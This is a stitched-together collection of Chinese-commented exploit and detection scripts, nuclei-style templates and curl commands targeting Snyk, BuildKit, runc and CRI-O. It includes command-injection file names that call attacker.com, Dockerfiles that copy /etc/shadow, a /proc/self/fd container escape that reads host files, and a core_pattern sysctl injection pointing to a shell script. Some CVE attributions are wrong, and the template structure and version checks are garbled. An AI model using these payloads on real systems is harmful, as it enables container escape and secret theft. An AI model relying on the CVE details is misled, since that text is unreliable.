        print(f"[+] 回调地址: {args.callback_url}")

id: cve-2023-23694-snyk-ide-rce

info:
  name: Snyk IDE 策略文件 RCE (CVE-2023-23694)
  author: security-researcher
  severity: critical
  description: Snyk IDE 插件解析恶意 .snyk 策略文件时可触发远程代码执行
  tags: snyk,ide,rce,cve-2023-23694

file:
  - path: ".snyk"
    type: yaml

  - type: word
    words:
      - "import("
      - "execSync"
      - "child_process"
      - "system("
      - "eval("
    condition: or
    part: raw

  - type: word
    words:
      - "ignore"
      - "expires"
      - "filePath"
    condition: and
    part: raw

    extractors:
      - type: dsl
        dsl:
          - '".snyk 策略文件包含可能触发 RCE 的代码"'

# 构造包含命令注入的文件路径
mkdir -p 'test;curl http://attacker.com/snyk-callback/pwned ||'
touch 'test;curl http://attacker.com/snyk-callback/pwned ||/package.json'

# 通过 CI/CD API 触发 Snyk 扫描
curl -sS -X POST "http://cicd-host:8080/api/snyk/scan" \
  -H "Content-Type: application/json" \
  -d '{"file": "test;curl http://attacker.com/snyk-callback/pwned ||/package.json"}'

#!/usr/bin/env python3
"""
CVE-2022-25315 Snyk CLI 命令注入检测
验证 Snyk CLI 版本并检测注入风险
用法: python3 cve_2022_25315.py [snyk_binary_path]
"""
import subprocess
import sys
import os
import tempfile

def check_snyk_version(snyk_bin="snyk"):
    try:
        result = subprocess.run(
            [snyk_bin, "--version"],
            capture_output=True, text=True, timeout=10
        )
        version = result.stdout.strip().lstrip("v")
        print(f"[*] Snyk CLI 版本: {version}")
        parts = version.split(".")
        if len(parts) >= 3:
            minor = int(parts[1])
            patch = int(parts[2])
            if minor < 1071 or (minor == 1071 and patch < 0):
                print(f"[VULN] Snyk {version} < 1.1071.0，存在命令注入漏洞")
                return True
            else:
                print(f"[SAFE] Snyk {version} 已修复")
                return False
    except FileNotFoundError:
        print(f"[ERR ] 未找到 Snyk: {snyk_bin}")
    except Exception as e:
        print(f"[ERR ] 版本检测失败: {e}")
    return None

def test_path_injection():
    print("[*] 验证路径注入行为...")
    with tempfile.TemporaryDirectory() as tmpdir:
        evil_dir = os.path.join(tmpdir, "test;id")
        os.makedirs(evil_dir)
        evil_file = os.path.join(evil_dir, "package.json")
        with open(evil_file, "w") as f:
            f.write('{"name":"test"}')
        print(f"[*] 创建测试路径: {evil_dir}")
        print("[*] 如果 Snyk CLI 对该路径执行命令注入，系统会执行 'id' 命令")
        print("[INFO] 请在授权环境中使用 Snyk CLI 扫描此路径进行验证")
    return False

def check_snyk_installed():
    for path in ["/usr/local/bin/snyk", "/usr/bin/snyk", "snyk"]:
        try:
            result = subprocess.run(
                [path, "--version"],
                capture_output=True, text=True, timeout=5
            )
            if result.returncode == 0:
                print(f"[INFO] Snyk 路径: {path}")
                return True
        except Exception:
            continue
    print("[INFO] 未安装 Snyk CLI")
    return False

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2022-25315 Snyk CLI 命令注入检测工具")
    print("=" * 60)

    snyk_bin = sys.argv[1] if len(sys.argv) > 1 else "snyk"
    check_snyk_installed()
    check_snyk_version(snyk_bin)
    test_path_injection()

id: cve-2022-25315-snyk-cli-injection

info:
  name: Snyk CLI 命令注入 (CVE-2022-25315)
  author: security-researcher
  severity: high
  description: Snyk CLI 处理 --file 参数时存在 shell 命令注入
  tags: snyk,command-injection,cve-2022-25315

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/snyk/version"
      - "{{BaseURL}}/version"
    matchers-condition: or
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - '"version"\\s*:\\s*"1\\.(10[0-6][0-9]|1070)\\.'
        part: body

    extractors:
      - type: dsl
        dsl:
          - '"检测到可能存在漏洞的 Snyk CLI 版本"'

# 构造利用 Race Condition 的 Dockerfile
cat > Dockerfile.race << 'FROM'
FROM alpine:latest AS builder

RUN --mount=type=secret,id=leaky,target=/tmp/secret \
    cat /tmp/secret > /tmp/stolen

FROM scratch
COPY --from=builder /tmp/stolen /stolen.txt
FROM

# 通过 BuildKit API 触发构建
curl -sS -X POST "http://buildkitd:3000/build" \
  -H "Content-Type: application/octet-stream" \
  --data-binary @Dockerfile.race

#!/usr/bin/env python3
"""
CVE-2024-23651 / CVE-2024-23652 BuildKit Race Condition 与文件删除 PoC
用法: python3 cve_2024_23651.py <buildkit_host:port>
"""
import sys
import json
import http.client
import hashlib
import concurrent.futures

RACE_DOCKERFILE = """#syntax=docker/dockerfile:1
FROM alpine:latest AS step1
RUN --mount=type=secret,id=sshd,target=/etc/shadow \
    cat /etc/shadow > /tmp/exfil

FROM alpine:latest AS step2
RUN --mount=type=secret,id=sshd,target=/etc/shadow \
    cat /etc/shadow > /tmp/exfil2

FROM busybox
COPY --from=step1 /tmp/exfil /tmp/step1_result
COPY --from=step2 /tmp/exfil2 /tmp/step2_result
"""

DELETE_DOCKERFILE = """#syntax=docker/dockerfile:1
FROM alpine:latest
RUN --mount=type=cache,target=/tmp/cache,id=../../etc \
    rm -rf /tmp/cache/..
"""

def check_buildkit(host, port):
    print(f"[*] 检测 BuildKit: {host}:{port}")
    try:
        conn = http.client.HTTPConnection(host, port, timeout=10)
        for ep in ["/v1/version", "/grpc", "/"]:
            try:
                conn.request("GET", ep)
                resp = conn.getresponse()
                print(f"  {ep} -> HTTP {resp.status}")
                if resp.status == 200:
                    data = resp.read().decode()[:200]
                    if "buildkit" in data.lower() or "moby" in data.lower():
                        print(f"[VULN] BuildKit 服务可达: {data[:100]}")
                        return True
            except Exception:
                continue
    except Exception as e:
        print(f"[ERR ] 连接失败: {e}")
    return False

def build_malicious_image(host, port, dockerfile_content):
    print("[*] 提交恶意构建请求...")
    try:
        ctx = http.client.HTTPConnection(host, port, timeout=30)
        body = json.dumps({
            "context": dockerfile_content.encode().hex(),
            "dockerfile": "Dockerfile",
            "options": {
                "no-cache": True,
                "pullParent": True
            }
        })
        headers = {
            "Content-Type": "application/json",
            "Content-Length": str(len(body))
        }
        ctx.request("POST", "/build", body=body, headers=headers)
        resp = ctx.getresponse()
        print(f"[*] 构建响应: HTTP {resp.status}")
        data = resp.read().decode()
        if "error" not in data.lower() or resp.status == 200:
            print("[INFO] 构建请求已提交，请检查结果")
            return True
    except Exception as e:
        print(f"[ERR ] 构建请求失败: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <buildkit_host:port>")
        sys.exit(1)

    host, port = sys.argv[1].split(":")
    port = int(port)

    print("=" * 60)
    print("CVE-2024-23651/23652 BuildKit Race Condition PoC")
    print("=" * 60)

    if check_buildkit(host, port):
        build_malicious_image(host, port, RACE_DOCKERFILE)

id: cve-2024-23651-buildkit-race-condition

info:
  name: BuildKit Race Condition 文件读取 (CVE-2024-23651)
  author: security-researcher
  severity: critical
  description: BuildKit 并发构建步骤中的 Race Condition 可导致宿主机文件读取
  tags: buildkit,race-condition,cve-2024-23651,file-read

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/version"
      - "{{BaseURL}}/grpc"
    matchers-condition: or
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "buildkit"
          - "moby"
        condition: or
        part: body

    extractors:
      - type: dsl
        dsl:
          - '"BuildKit 服务可达，请验证并发构建 Race Condition"'

# 检查 Docker API 版本和 runc 版本
curl -sS "http://docker-sock:2375/v1.43/version" | python3 -m json.tool

# 创建容器并执行 fd 枚举
curl -sS -X POST "http://docker-sock:2375/v1.43/containers/create" \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine:latest","Cmd":["ls","-la","/proc/self/fd/"]}' | \
  python3 -c "import sys,json; cid=json.load(sys.stdin)['Id']; print(cid)"

# 启动容器并读取输出
curl -sS -X POST "http://docker-sock:2375/v1.43/containers/<CONTAINER_ID>/start"

# 通过泄漏的 fd 读取宿主机文件
curl -sS -X POST "http://docker-sock:2375/v1.43/containers/create" \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine:latest","Cmd":["cat","/proc/self/fd/7/../../../../../../etc/hostname"]}'

#!/usr/bin/env python3
"""
CVE-2024-21626 Leaky Vessels runc 容器逃逸检测
用法: python3 cve_2024_21626.py [docker_sock_path]
"""
import sys
import json
import subprocess

def check_docker_version():
    print("[*] 检查 Docker / runc 版本...")
    try:
        result = subprocess.run(
            ["docker", "version", "--format", "{{.Server.Version}}"],
            capture_output=True, text=True, timeout=10
        )
        docker_ver = result.stdout.strip()
        print(f"[*] Docker 版本: {docker_ver}")

        result = subprocess.run(
            ["docker", "run", "--rm", "alpine:latest", "cat",
             "/etc/alpine-release"],
            capture_output=True, text=True, timeout=30
        )
    except Exception as e:
        print(f"[ERR ] Docker 检测失败: {e}")

def check_fd_leak():
    print("[*] 在容器内检测 fd 泄漏...")
    try:
        result = subprocess.run(
            ["docker", "run", "--rm", "alpine:latest", "sh", "-c",
             "ls -la /proc/self/fd/"],
            capture_output=True, text=True, timeout=30
        )
        output = result.stdout
        print(f"[*] fd 列表:\n{output[:500]}")

        if "containerd" in output or "runc" in output:
            print("[VULN] 发现指向 containerd/runc 的 fd，可能存在泄漏")
            return True

        result2 = subprocess.run(
            ["docker", "run", "--rm", "alpine:latest", "sh", "-c",
             "cat /proc/self/fd/7/../../../../../../etc/hostname 2>/dev/null || echo no_leak"],
            capture_output=True, text=True, timeout=30
        )
        hostname = result2.stdout.strip()
        if hostname and "no_leak" not in hostname:
            print(f"[VULN] 成功读取宿主机 hostname: {hostname}")
            print("[VULN] Leaky Vessels 容器逃逸已验证!")
            return True
        else:
            print("[SAFE] 未发现 fd 泄漏或路径不可达")
    except Exception as e:
        print(f"[ERR ] 检测失败: {e}")
    return False

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2024-21626 Leaky Vessels runc 容器逃逸检测")
    print("=" * 60)
    check_docker_version()
    check_fd_leak()

id: cve-2024-21626-leaky-vessels-runc

info:
  name: Leaky Vessels runc 容器逃逸 (CVE-2024-21626)
  author: security-researcher
  severity: critical
  description: |
    runc <= 1.1.11 文件描述符泄漏导致容器逃逸，
    容器内可通过 /proc/self/fd/ 访问宿主机文件系统
  tags: runc,container-escape,cve-2024-21626,leaky-vessels

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1.43/version"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Version"
          - "ApiVersion"
        condition: and
        part: body

    extractors:
      - type: json
        json:
          - '.Version'
        name: docker_version
        internal: true

  - method: POST
    path:
      - "{{BaseURL}}/v1.43/containers/create"
    headers:
      Content-Type: application/json
    body: '{"Image":"alpine:latest","Cmd":["sh","-c","ls -la /proc/self/fd/ && cat /proc/self/fd/7/../../../../../../etc/hostname 2>/dev/null || echo no_fd_leak"]}'
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 201

    extractors:
      - type: dsl
        dsl:
          - '"已创建检测容器，请检查输出中的 fd 泄漏信息"'

# 创建具有特权的恶意容器
curl -sS -X POST "http://docker-sock:2375/v1.43/containers/create" \
  -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine:latest",
    "Cmd": ["sh", "-c", "while true; do sleep 10; done"],
    "HostConfig": {"Devices": [{"PathOnHost": "/proc/self/exe","PathInContainer": "/tmp/runc","CgroupPermissions": "rwm"}]}
  }'

#!/usr/bin/env python3
"""
CVE-2019-5736 runc 宿主机二进制覆盖检测
检查 runc 版本和容器配置是否存在风险
用法: python3 cve_2019_5736.py
"""
import subprocess
import sys
import json

def check_runc_version():
    print("[*] 检查 runc 版本...")
    try:
        result = subprocess.run(
            ["runc", "--version"],
            capture_output=True, text=True, timeout=5
        )
        version_info = result.stdout.strip()
        print(f"[*] runc 版本信息:\n{version_info}")

        for line in version_info.split("\n"):
            if "runc version" in line:
                ver = line.split()[-1].lstrip("v")
                parts = ver.split("-")[0].split(".")
                if len(parts) >= 3:
                    major, minor, patch = int(parts[0]), int(parts[1]), int(parts[2])
                    if major == 0 and minor == 0 and patch <= 6:
                        print(f"[VULN] runc {ver} < 1.0.0-rc6，受 CVE-2019-5736 影响")
                        return True
                    elif major >= 1:
                        print(f"[SAFE] runc {ver} 已修复 CVE-2019-5736")
                        return False
    except FileNotFoundError:
        print("[INFO] 未找到 runc 命令")
    except Exception as e:
        print(f"[ERR ] 检测失败: {e}")
    return None

def check_privileged_containers():
    print("[*] 检查特权容器...")
    try:
        result = subprocess.run(
            ["docker", "ps", "--format", "{{.ID}} {{.Names}}"],
            capture_output=True, text=True, timeout=10
        )
        containers = result.stdout.strip().split("\n")
        privileged_count = 0
        for container in containers:
            if not container.strip():
                continue
            cid = container.split()[0]
            inspect = subprocess.run(
                ["docker", "inspect", "--format",
                 "{{.HostConfig.Privileged}}", cid],
                capture_output=True, text=True, timeout=5
            )
            if "true" in inspect.stdout.lower():
                print(f"[VULN] 特权容器: {cid} ({container.split()[1]})")
                privileged_count += 1
        if privileged_count > 0:
            print(f"[VULN] 发现 {privileged_count} 个特权容器，CVE-2019-5736 可利用")
        else:
            print("[SAFE] 未发现特权容器")
    except Exception as e:
        print(f"[ERR ] 检查失败: {e}")

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2019-5736 runc 宿主机覆盖逃逸检测")
    print("=" * 60)
    check_runc_version()
    check_privileged_containers()

id: cve-2019-5736-runc-host-override

info:
  name: runc 宿主机二进制覆盖逃逸 (CVE-2019-5736)
  author: security-researcher
  severity: high
  description: 攻击者可覆盖宿主机 runc 二进制实现持久化逃逸
  tags: runc,container-escape,cve-2019-5736

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1.43/info"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Runtimes"
          - "runc"
        condition: and
        part: body

    extractors:
      - type: json
        json:
          - '.Runtimes'
        name: runtimes
        internal: true

# 通过 Kubernetes API 创建包含恶意 sysctl 的 Pod
curl -sS -k -X POST "https://kube-apiserver:6443/api/v1/namespaces/default/pods" \
  -H "Authorization: Bearer ${K8S_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {"name": "crio-cr8-test"},
    "spec": {
      "containers": [{
        "name": "test",
        "image": "alpine:latest",
        "command": ["sleep", "3600"]
      }],
      "securityContext": {
        "sysctls": [
          {"name": "kernel.core_pattern", "value": "|/tmp/shell.sh"}
        ]
      }
    }
  }'

#!/usr/bin/env python3
"""
CVE-2022-0811 CRI-O CR8 sysctl 注入检测
检查 CRI-O 版本和 Kubernetes sysctl 策略
用法: python3 cve_2022_0811.py [kubernetes_api_url]
"""
import sys
import subprocess
import json
import ssl
import http.client

DANGEROUS_SYSCTLS = [
    "kernel.core_pattern",
    "kernel.shmmax",
    "kernel.shmmni",
    "kernel.shm_rmid_forced",
    "kernel.msgmax",
    "kernel.msgmni",
    "net.ipv4.ip_forward",
]

def check_crio_version():
    print("[*] 检查 CRI-O 版本...")
    try:
        result = subprocess.run(
            ["crictl", "version"],
            capture_output=True, text=True, timeout=5
        )
        print(f"[*] CRI-O 输出: {result.stdout.strip()}")

        result2 = subprocess.run(
            ["crio", "--version"],
            capture_output=True, text=True, timeout=5
        )
        version = result2.stdout.strip()
        print(f"[*] CRI-O 版本: {version}")

        for vline in version.split("\n"):
            if "1.19" in vline or "1.20" in vline or "1.21" in vline or "1.22.0" in vline or "1.22.1" in vline:
                print(f"[VULN] CRI-O 版本可能受 CVE-2022-0811 影响")
                return True
        print("[SAFE] CRI-O 版本不受影响或未检测到 CRI-O")
    except FileNotFoundError:
        print("[INFO] 未找到 CRI-O")
    except Exception as e:
        print(f"[ERR ] 检测失败: {e}")
    return None

def check_k8s_sysctl_policy(api_url=None):
    print("[*] 检查 Kubernetes sysctl 策略...")
    try:
        result = subprocess.run(
            ["kubectl", "get", "podsecuritypolicy", "-o", "json"],
            capture_output=True, text=True, timeout=10
        )
        if result.returncode == 0:
            psp = json.loads(result.stdout)
            for item in psp.get("items", []):
                name = item["metadata"]["name"]
                allowed = item.get("spec", {}).get("allowedUnsafeSysctls", [])
                if allowed:
                    print(f"[WARN] PSP '{name}' 允许不安全 sysctls:")
                    for sysctl in allowed:
                        print(f"  - {sysctl}")
                    for ds in DANGEROUS_SYSCTLS:
                        for pattern in allowed:
                            if ds.startswith(pattern.rstrip("*")) or pattern == "*":
                                print(f"[VULN] 危险 sysctl 允许: {ds}")
                                return True
        else:
            print("[INFO] 无法获取 PodSecurityPolicy (可能使用 PSP v2 或已弃用)")
    except Exception as e:
        print(f"[ERR ] PSP 检查失败: {e}")
    return False

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2022-0811 CRI-O CR8 sysctl 注入检测")
    print("=" * 60)
    check_crio_version()
    check_k8s_sysctl_policy()

id: cve-2022-0811-crio-cr8-sysctl

info:
  name: CRI-O CR8 sysctl 注入 (CVE-2022-0811)
  author: security-researcher
  severity: high
  description: CRI-O 未校验 sysctl 参数导致任意系统参数注入
  tags: crio,sysctl-injection,cve-2022-0811,kubernetes

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/namespaces/default/pods"
    headers:
      Authorization: "Bearer {{K8S_TOKEN}}"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 403
      - type: word
        words:
          - "items"
          - "metadata"
        condition: and
        part: body

    extractors:
      - type: json
        json:
          - '.items[*].metadata.name'
        name: pods
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/apis/v1/namespaces/kube-system/pods"
    matchers:
      - type: word
        words:
          - "crio"
          - "container-runtime"
        condition: or
        part: body